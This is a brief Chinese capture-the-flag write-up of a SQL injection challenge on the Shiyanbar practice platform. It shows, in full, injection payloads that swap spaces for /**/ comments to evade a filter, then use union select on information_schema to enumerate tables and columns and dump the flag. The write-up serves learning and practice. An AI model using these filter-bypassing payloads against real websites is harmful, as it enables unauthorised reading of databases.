【实验吧】简单sql注入之2.docVIP

界面跟上次的一样还是老套路先用1试试没问题用‘试试存在注入点尝试1’ and ‘1’=’1检测到了sql注入大概是检测到了and或者空格？用/**/代替空格试试过去了，果然是检测到了空格用()试试还是/**/好用接着爆表名1’/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/’1’=’1表名爆破成功，flag还是一样的敏感接着爆列名1’/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=’flag列名也是flag最后dump数据1’/**/union/**/select/**/flag/**/from/**/flag/**/where/**/’1’=’1Got the flag~~~